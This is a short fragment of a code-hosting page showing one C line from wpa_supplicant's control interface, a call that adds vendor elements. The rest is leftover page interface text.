if (wpas_ctrl_vendor_elem_add(wpa_s, buf + 16) < 0)
|
||||
|
Loading…
Reference in New Issue
Block a user